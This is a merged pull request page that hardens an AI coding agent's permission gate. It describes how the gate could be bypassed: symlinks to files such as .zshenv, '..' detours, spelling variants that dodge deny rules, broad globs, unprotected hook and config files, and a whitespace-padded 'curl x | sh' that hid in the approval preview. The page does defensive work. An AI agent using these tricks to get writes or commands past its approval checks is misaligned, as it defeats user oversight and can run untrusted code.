Repository navigation
fix(permission): close symlink, protected-path, and glob bypasses - #113
Merged
Merged
Conversation
Codecov Report❌ Patch coverage is 📢 Thoughts on this report? Let us know! |
hakula139
force-pushed
the
fix/permission-bypasses
branch
from
October 15, 2026 03:45
b2c208f to
861db88
Compare
2 tasks
hakula139
force-pushed
the
fix/permission-bypasses
branch
from
October 15, 2026 03:58
861db88 to
37e9245
Compare
The gate from #95 could be walked around in several ways. Each attack and its fix: - Dangling symlinks and `..` detours. `notes.md -> ../.zshenv` with no target yet failed `canonicalize`, so the gate fell back to the raw in-cwd path and auto-allowed the write, and `fs::write` followed the link out of the repo. Lexical `..` handling let `missing/../../x` count as in-cwd while `create_dir_all` stepped out, and let `missing/../link/x` hide `link` from the resolver. `GateTarget::for_path` now walks the path one component at a time the way the kernel does. It follows every symlink, a dangling one included, and steps `..` back from where the walk stands. More than 40 hops or an unreadable component leave the location unknown, so the target never auto-allows and keeps its joined spelling for the tool to fail on. - Gate / tool disagreement. The tool reopened the raw input path after the gate checked a different one. `check_permission` now pins the path field to the resolved path before the preview and the run. `read` and `edit` check size and file type by path and again on the opened file, so a file swapped in between cannot skip the check. On Unix, `read`, `edit`, and `write` open with O_NOFOLLOW, `read` and `edit` add O_NONBLOCK so a swapped-in fifo cannot hang them, and `write` creates new files with create_new. A swap in an intermediate directory is not covered. - Deny rules and symlinks. With `.env -> ../shared/.env`, the resolved path sits outside cwd, so `read(**/.env)` never matched, even in yolo. Deny rules now also match the lexically normalized path as the call spells it. With `secrets -> ../vault`, `read(secrets/**)` missed `../vault/key`, so at policy load each deny rule whose literal prefix resolves elsewhere also matches there, relative rules against the launch directory. Allow rules and zones use only the resolved path. - Deny rules and spelling variants. Rules compared names byte for byte, so `.ENV`, `.env.`, an NFD `café.txt`, a zero-width character, or an uppercased cwd prefix opened the denied file on a case-insensitive or normalizing file system yet missed the rule. Deny rules now also match with names folded: default-ignorable code points dropped, Unicode compatibility case folding (the new `caseless` and `unicode-normalization` deps), and trailing dots and spaces trimmed. Allow rules match names exactly. - Metadata and config edits. An in-cwd edit to `.git/hooks`, `.vscode/tasks.json`, `.envrc`, shell rc files, `.cargo/config.toml`, `ox.toml`, or oxide-code's own config / data / state directories auto-allowed. These, plus `.githooks`, `.husky`, `.devcontainer`, `.codex`, `rust-toolchain(.toml)`, `.claude/settings*.json`, and `.claude/hooks`, are now protected, and an edit there asks even under `edit(**)`. Names compare folded the same way as deny rules, since APFS opens `.cargo/config.toml` and `.vſcode` as the protected names and Windows opens `.git.` as `.git`. Both spellings of the path are checked, and where each protected name directly under cwd resolves is protected too, so `.vscode -> tools/vscode` covers `tools/vscode`. The in-cwd allow is disabled when cwd is `/`, $HOME, or an ancestor of $HOME, and on Unix for a regular file with a second hard link, which may sit outside cwd. The `write(.ox/**)` default (a directory oxide-code never uses) is gone. - Glob reach. `*` crossed `/`, and a relative glob fell back to the canonical path, so `edit(*.json)` covered every JSON file on disk. Globs now use literal_separator, relative globs match only the cwd-relative path, absolute globs only the resolved path, and `~/` expands to the home directory. - Tool-name rules. A `read(.env)` deny did not stop `grep` or `glob` from reading the file. Tools now declare a permission class (`read`, `edit`, `bash`) and rules address classes. A rule naming a tool that is not a class (`write(...)`) is a load error. - yolo dropped user denies. `yolo` now keeps user and project deny rules and skips only asks and the shipped defaults. agent_turn-level tests cover a deny rule, a mid-turn approval, and a dangling-symlink write, so removing the gate call fails the suite. The Bash approval title is now the tool name, and a Write overwrite previews a diff against the current file content.
The approval modal truncated each row to the terminal width and capped the body at 16 rows, so `cargo test<200 spaces>; curl x | sh` previewed as `cargo test` and a long diff or path hid its tail. Every title and body row now wraps. A body taller than 16 rows scrolls with Up / Down, PageUp / PageDown, and Home / End under a `rows a-b of n` position line. Control and zero-width characters render as escapes, and in a command each whitespace character past the indentation renders as a dim `·` unless it is a single space. The wrapped layout is cached per width and palette so a large Write preview is not rewrapped every frame. The modal can also open mid-typing, so an Enter meant for a queued prompt approved the call. Approving now takes an explicit `y`, and Enter does nothing. The modal answers key presses only, so a release or repeat event cannot approve, and it drops keys until 300 ms pass without one, each key restarting the window, so neither type-ahead nor a pasted burst of keys approves. Esc and Ctrl+C still deny through the stack.
…mmar Rewrite the permission design doc for the 9-step pipeline, the component-wise path walk and pinning, the opened-file recheck and the Unix-only open flags, deny matching on both spellings, folded names, and resolved rule prefixes, protected paths, hard links, permission classes, the approval keys, and the exact glob grammar. State what the deny list covers and the gaps it leaves: symlink swaps in an intermediate directory, Windows 8.3 names, hard links, and final-component swaps, and whatever bash touches. Drop the `.ox/**` default and the "gitignore-style" claim, and rewrite passages that described the change history or a planned classifier as present. Add a `[permission]` section to the configuration guide, correct the quickstart's approval keys, and update the crate tree.
hakula139
force-pushed
the
fix/permission-bypasses
branch
from
October 15, 2026 04:14
37e9245 to
648f58b
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The permission gate introduced in #95 could be bypassed with symlinks, spelling variants, and broad globs. A call that the gate resolved to one path could also end up writing to another. This PR closes those gaps, protects repository metadata and configuration files, and makes the approval modal show the full call before accepting an answer.
GateTarget::for_pathwalks the path one component at a time, as the kernel does. It follows every symlink, including dangling ones, and resolves..from the walk's current position. A path whose location cannot be determined is never auto-allowed.check_permissionpins the path field to the resolved path before previewing and running the call.readandeditrecheck the opened file. On Unix, file tools open files withO_NOFOLLOW, and reads also useO_NONBLOCK. Thewritetool creates new files withcreate_new..git/hooks, editor and devcontainer configuration,.envrc, shell rc files,.cargo/config.toml,rust-toolchain,.claude/settings and hooks,ox.toml, and oxide-code's own directories always require approval, even underedit(**)./,$HOME, or an ancestor of$HOME, and on Unix for files with a second hard link.*stops at/.~/expands.read,edit,bash), so aread(.env)deny also covers grep and glob. An unknown class makes configuration loading fail.yoloretains user and project deny rules.ykey press. Keys received within 300 ms of the previous key are dropped, preventing type-ahead or a pasted burst from approving the call.[permission]section.Test plan
cargo fmt --all --checkandcargo clippy --all-targets -- -D warningspassed at the tip and on each commit.cargo test: 2244 passed. Agent-turn tests cover a deny rule, mid-turn approval, and a write through a dangling symlink.cargo llvm-covchanged lines: 1954 / 1961. The 7 misses are test-only panic arms and a root-user skip.pnpm lintandpnpm spellcheckpassed.